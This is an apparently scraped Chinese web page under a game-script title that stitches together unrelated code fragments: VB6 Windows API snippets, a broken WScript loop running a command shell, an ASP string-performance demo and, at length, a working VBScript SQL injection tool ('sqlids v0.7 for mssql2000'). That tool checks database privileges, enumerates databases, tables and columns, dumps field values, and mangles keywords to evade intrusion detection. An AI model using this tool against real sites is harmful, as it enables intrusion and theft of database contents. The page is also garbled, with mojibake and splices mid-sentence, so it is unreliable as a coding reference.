阴阳师pc端脚本图源码

一、利用API获取窗口的标题新建窗体Form1和按钮Command1ぴ诖疤迥?橹刑砑尤缦麓码:OptionExplicitPrivateDeclareFunctionGetWindowTextLib"us―er32"Alias"GetWindowTextA"(ByValhwndAsLong,ByVallpStringAsString,ByValcchAsLong)AsLong'在窗体声明节中加入API函数“GetWindowText”的说明'函数将向lpstring中载入要获得的窗体captionPrivateSubCommand1_Click()DimreturncodeAsLongDimcaptextAsStringDimcaplenAsLongcaptext=String$(100,0)caplen=99returncode=GetWindowText(ByValme.hwnd,ByValcaptext,ByValcaplen)printreturncodePrintcaptextPrintcaplenEndSub

二、获取鼠标在当前窗口(客户区)的屏幕坐标そ立一新项目窗体form1并添加控件文本框Text1、Text2ぴ诖疤迥?橹惺淙耄邯OptionExplicitPrivateDeclareFunctionGetCursorPosLib"user32"(lpPointAsPOINTAPI)AsLongPrivateTypePOINTAPIXAsLongYAsLongEndTypeDimptAsPOINTAPIDimreturncodeAsLongPrivateSubForm_Load()Text1.Text=""Text2.Text=""MaxButton=FalseMinButton=FalseForm1.WindowState=2EndSubPrivateSubForm_MouseMove(ButtonAsInteger,ShiftAsInteger,XAsSingle,YAsSingle)'注意pt结构是按引用传递的returncode=GetCursorPos(pt)Text1.Text=pt.XText2.Text=pt.YEndSub

三、记录Windows使用时间建立新项目窗口form1,输入代码:PrivateSubForm_Load()form1.visible=falseOpenapp.paht+"memo.txt"ForAppendAs#1Print#1,"启动windows:"&CStr(Now)Close#1EndSubPrivateSubForm_Unload(CancelAsInteger)Openapp.paht+"memo.txt"ForAppendAs#1Print#1,"关闭windows:"&CStr(Now)Close#1EndEndSub最后将此程序加入启动组即可我知道我最近使用过的命令缓存在某个地方,因为当我开始在运行对话框中键入时,它们便会显示出来

用python写测试脚本所以我们只好使用MemoryDC的方式来做,产生一个MemoryDc後将BitMap图放於其上,之後便可以使用BitBlt来绘图了

关闭该VB窗口命令520") setq=createobject("scripting.filesystemobject") seta=WScript.CreateObject("WScript.Shell") a.run"%Comspec%/c"&d loop还有一般的程序最好不要加onerrorresumenext除非你十分清楚某些对象的方法会出错或许用户不想再执行循环,通过点击Cancel按钮退出呢?怎么解决这个问题?答案是:使用DoEvents命令

一次只能执行一项操作:无法同时以读取和写入方式打开文本文件以上实例在Win98,VB6.0运行通过

set arg=wscript.arguments If (LCase(Right(Wscript.fullname,11))="Wscript.Exe") Then Wscript.Quit End If if arg.count=0 then usage() Wscript.Quit End If Sub usage() wsh.echo string(79,"*") wsh.echo "暂且只支持mssql显错模式,直接写url为数字型,写url'为字符型,url里有&请用双引号包含url" wsh.echo "sqlids v0.7 for mssql2000 with error by lcx" wsh.echo "以下两个脚本可互相参考" wsh.echo "" wsh.echo "" wsh.echo "Usage:" wsh.echo "cscript "&wscript.scriptname&" url limit ||----------->得到当前权限"&vbcrlf&"Ex:cscript sql.vbs limit" wsh.echo "cscript "&wscript.scriptname&" url dbname ||----------->得到全部库名"&vbcrlf&"Ex:cscript sql.vbs dbname" wsh.echo "cscript "&wscript.scriptname&" url table 库名||-------->得到所给库的全部表名"&vbcrlf&"Ex:cscript sql.vbs table master" wsh.echo "cscript "&wscript.scriptname&" url filed 库名 表名 ||---------->得到所给库所给表的全部字段"&vbcrlf&"Ex:cscript sql.vbs id=1 filed master spt_server_info" wsh.echo "cscript "&wscript.scriptname&" url result 字段名 库名 表名||--->得所给库、表、字段的字段值"&vbcrlf&"Ex:cscript sql.vbs id=1 result id master sysinfo" wsh.echo "cscript "&wscript.scriptname&" url search 你要查找的字段名||--->根据关键字查找字段"&vbcrlf&"Ex:cscript sql.vbs search pass" wsh.echo string(79,"*")&vbcrlf end Sub Function getHTTPPage(Path) t=GetBody(Path) getHTTPPage=BytesToBstr(t, "GB2312") End Function Function UrlEncode(str) str=Replace(str," ","%20") UrlEncode=str End Function Function GetBody(url)' xml得到网页源码,可以改成cookie或get提交 On Error Resume Next Aurl=Split(url,"?") '这是为post提交的 Set Retrieval=CreateObject("Microsoft.XMLHTTP") With Retrieval .Open "post", Aurl(0), False, "", "" .setRequestHeader "Content-Type", "application/x-www-form-urlencoded" .setRequestHeader "Accept-Encoding", "gzip, deflate" .setRequestHeader "User-Agent", "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; .NET CLR 1.1.4322)" .setRequestHeader "Connection", "Keep-Alive" .setRequestHeader "Cache-Control", "no-cache" .Send UrlEncode(Aurl(1)) 'post提交 GetBody=.ResponseBody .abort End With Set Retrieval=Nothing End Function Function BytesToBstr(Body, Cset) Dim objstream Set objstream=CreateObject("adodb.stream") objstream.Type=1 objstream.Mode=3 objstream.Open objstream.Write Body objstream.Position=0 objstream.Type=2 objstream.Charset=Cset BytesToBstr=objstream.ReadTExt objstream.Close Set objstream=Nothing End Function Function ReplaceKeyWord(Value)'绕过ids过虑 Table="select->se%lect|[k]|insert->in%sert|[k]|update->u%pdate|[k]|delete->dele%te|[k]|drop->dr%op|[k]|alter->al%ter|[k]|create->crea%te|[k]|inner->in% ner|[k]|join->jo%in|[k]|from->fro%m|[k]|where->w%here|[k]|union->unio%n|[k]|group->grou%p|[k]|by->b%y|[k]|having->hav%ing|[k]|table->tab%le|[k]|shutdown- >shu%tdown|[k]|kill->k%ill|[k]|declare->dec%lare|[k]|open->o%pen|[k]|pwdencrypt->pwdencr%ypt|[k]|msdasql->m%sdasql|[k]|sqloledb->sqlo%ledb|[k]|char->c%har| [k]|fetch->fe%tch|[k]|nExt->ne%xt|[k]|allocate->al%locate|[k]|sys->s%ys|[k]|raiserror->raiser%ror|[k]|Exec->e%xec|[k]|=!->=%!|[k]|--->-%-|[k]|xp_->x%p_|[k] |sp_->s%p_|[k]|and->a%nd" Dim i, Relpacement, Temp Relpacement=Split(Table, "|[k]|") ReplaceKeyWord=Value For i=0 to UBound(Relpacement) Temp=Split(Relpacement(i), "->") If UBound(Temp)=1 Then ReplaceKeyWord=Replace(ReplaceKeyWord, Temp(0), Temp(1)) NExt End Function Function result(sHTMLTEMP) '用varchar做关键字分隔网页内容,用正则帅一点,可惜不太会 aHTML=Split(sHTMLTEMP, "varchar") If(UBound(aHTML) > 0)Then sHTMLTEMP=aHTML(1) aHTML=Split(sHTMLTEMP, "'") sHTMLTEMP=aHTML(1) End If result=sHTMLTEMP End Function Function Str2HEx(strHEx)'sql的16进制转换函数 Dim sHEx For i=1 To Len(strHEx) sHEx=sHEx & HEx(Asc(Mid(strHEx,i,1)))&"00" NExt Str2HEx="0x"&sHEx End Function Function Str2HExtwo(strHEx)'sql的16进制转换函数 Dim sHEx For i=1 To Len(strHEx) sHEx=sHEx & HEx(Asc(Mid(strHEx,i,1))) NExt Str2HExtwo="0x"&sHEx End Function Function MoveR(Rstr) '去重复 Dim i,SpStr SpStr=Split(Rstr,",") For i=0 To Ubound(Spstr) If I=0 then MoveR=MoveR & SpStr(i) & "," Else If instr(MoveR,SpStr(i))=0 and i=Ubound(Spstr) Then MoveR=MoveR & SpStr(i) Elseif instr(MoveR,SpStr(i))=0 Then MoveR=MoveR & SpStr(i) & "," End If End If NExt End Function function page(sql) page=Replace(getHTTPPage(url&" "&ReplaceKeyWord(sql)),Chr(34),"") End Function url=arg(0) injection=arg(1) '--------------------------------------以下代码是注入语句,完全不需要引号 select case arg(1) Case "limit" body=Replace(getHTTPPage(url),Chr(34),"") '语句单独提出来,方便以后修改,第一条是sa,第二条是DB_owner sqlone="and (select is_srvrolemember(0x730079007300610064006D0069006E00))>0--" sqltwo="and (select is_member(0x640062005F006F0077006E0065007200))>0--" Bodyone=page(sqlone) bodytwo=page(sqltwo) wsh.echo "当前信息:" If Len(body)=Len(Bodyone) Then wsh.echo "SA" If Len(body)=Len(Bodytwo) And Len(body)<>Len(Bodyone) Then wsh.echo "DB_owner" Else wsh.echo "PUBLIC" End If sqlthtree="and @@servername>0--|and @@version>0--|and user>0--|and db_name()>0--" rtemp=Split(sqlthtree,"|") servername=result(page(rtemp(0))) version=result(page(rtemp(1))) user=result(page(rtemp(2))) db_name=result(page(rtemp(3))) wsh.echo "servername:"&servername wsh.echo "version:"&version wsh.echo "user:"& user wsh.echo "db_name:"& db_name case "dbname" i=1 Do sql="and db_name("&i&")>0--" '暴库名语句 Body=page(sql) k=InstrRev(body,"varchar", -1, 0) i=i+1 If k<>0 Then wscript.echo result(body) Else wsh.echo "========over============" End if Loop Until k=0 case "table" i=1 Do ' 表名语句 agr(2)表示库 sql="and 0<>(select top 1 name from "&arg(2)&".dbo.sysobjects where xtype=0x7500 and name not in (select top "& i &" name from "&arg(2)&".dbo.sysobjects where xtype=0x7500))--" Body=page(sql) k=InstrRev(body,"varchar", -1, 0) i=i+1 If k<>0 Then wscript.echo result(body) Else wsh.echo "========over============" End if Loop Until k=0 case "filed" sqlbiaoid="an%d (se%l%e%c%t to%p 1 ca%st(id as nvarch%ar(20))%2bch%ar(124) fr%om ["&arg(2)&"]..[sy%sob%je%cts] wh%ere name="&Str2HEx(arg(3))&")=0-- " biaoid=result(page(sqlbiaoid)) biaoid=Replace(biaoid,Chr(124),"") sqlclounmcnt="an%d (se%l%e%c%t ca%st(co%unt(1) as varch%ar(10))%2bch%ar(94) fr%om ["&arg(2)&"]..[sys%columns] wh%ere id="&biaoid&")=0-- " k=Replace(result(page(sqlclounmcnt)),Chr(94),"") wsh.echo "共有列名"&k&"个" For i=1 To k sqlfiled=" an%d (se%l%e%c%t to%p 1 ca%st(name as varch%ar(8000)) fr%om (se%l%e%c%t to%p "&i&" colid,name fr%om ["&arg(2)&"]..[sys%columns] wh%ere id="&biaoid&" order by colid) t order by colid desc)=0--" wsh.echo result(page(sqlfiled)) nExt case "result" i=1 sqlcloum="and (select cast(count(1) as varch%ar(8000))%2bchar(94) from ["&arg(3)&"]..["&arg(4)&"] where 1=1)>0--" '暴列的总数目语句 k=result(page(sqlcloum)) k=Replace(k,Chr(94),"") wsh.echo arg(2)&"字段共有记录数"&k&"个"&vbcrlf For i=1 To k sqlneirong="an%d (se%l%e%c%t to%p 1 ca%st("&arg(2)&" as varch%ar)%2bch%ar(94) fr%om (se%l%e%c%t to%p "&i&" ["&arg(2)&"] fr%om ["&arg(3)&"]..["&arg(4) &"] wh%ere 1=1 order by ["&arg(2)&"]) t wh%ere 1=1 order by ["&arg(2)&"] desc )=0--" Body=page(sqlneirong) wscript.echo Replace(result(body),Chr(94),"") Next Case "search" love=Str2HExtwo(arg(2)) wscript.echo "请稍候,正在查循,暂且只列10条,结果显示为'表名|字段名'格式" TimeSpend=Timer For i=1 To 10 '可以根据需要改动这个10 sqlsearch="And (selecttop1t_name%2bchar(124)%2bc_namefrom(selecttop"&i&"object_name(id)ast_name,nameasc_namefromsyscolumnswherecharindEx(cast("&love&"asvarchar(2000)),name)%3E0andleft(name,1)!=0x40orderbyt_nameasc)asTorderbyt_namedesc)>0--" Body=page(sqlsearch) body=result(body) a=a&body&"," NExt TimeSpend=round(Timer - TimeSpend,2) wsh.echo MoveR(a) wsh.echo "用时:" & TimeSpend & "秒." Case Else If arg(1)<>"limit" Or arg(1)<>"dbname" Or arg(1)<>"search" Or arg(1)<>"table" Or arg(1)<>"filed" Then wscript.echo "注意参数" usage() End if end select 博图vb程序调用",vbInformationExitSubErr100:MsgBox"对不起,不能建立表<% 'vbs版高速字符串操作代码演示 '淮南子编写 Option explicit Dim StrTime,EndTime Dim MyString,MyArray,ArrayIndexCount,CurIndex Const TestNumber=9999 '循环次数 StrTime=Timer() '============测试开始============'代码执行效率 '本人机器配置: 'CPU: 酷睿双核2250 CPU频率:1.73G '内存: 1GB '请逐一开启方法进行测试 'StringLinkTest1() '性能最差,大约耗时20秒 'StringLinkTest2() '性能大大改善,大约耗时0.2秒 'StringArrayTest() '性能最佳,大约耗时0.06秒 '============测试结束============'输出结果 'Response.Write MyString EndTime=Timer() Response.Write "耗时:" & FormatNumber((EndTime-StrTime) * 1000,3) & " 毫秒" '字符串操作函数,淮南子原创 Sub Add(Value) If (CurIndex >=ArrayIndexCount) Then ArrayIndexCount=CurIndex * 1.1 '如果欲添加项超出数组下标,则将数组容量扩增百分之10 ReDim Preserve MyArray(ArrayIndexCount) End If MyArray(CurIndex)=Value CurIndex=CurIndex + 1 End Sub '测试方法 '使用数组进行字符串叠加,在所有方法中,该方法性能最佳(效率较StringLinkTest2()的方法提升了近4倍) Sub StringArrayTest() ArrayIndexCount=20 CurIndex=0 ReDim MyArray(ArrayIndexCount) Dim i For i=0 to TestNumber Add "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx" Next MyString=Join(MyArray,"") End Sub '测试方法1 '常规的字符串连接 Sub StringLinkTest1() Dim i,str dim a1 a1="xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx" For i=0 to TestNumber '常规字符串连接 Str=(Str&a1) Next MyString=Str End Sub '测试方法2 '在常规的字符串连接方式中,使用临时变量来提速 ,效率较StringLinkTest1()的方法提升了近100倍 Sub StringLinkTest2() Dim i,str,a1,TmpString a1="xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx" For i=0 to TestNumber '使用临时变量提速 TmpString=(TmpString & a1) '每二百次则进行一次累计 If i mod 200=0 Then '保存临时变量值 Str=(Str & TmpString) '清空临时变量值 TmpString="" End If Next if TmpString<>"" Then MyString=(Str & TmpString) End Sub %> 。

176人参与, 0条评论 登录后显示评论回复

你需要登录后才能评论 登录/ 注册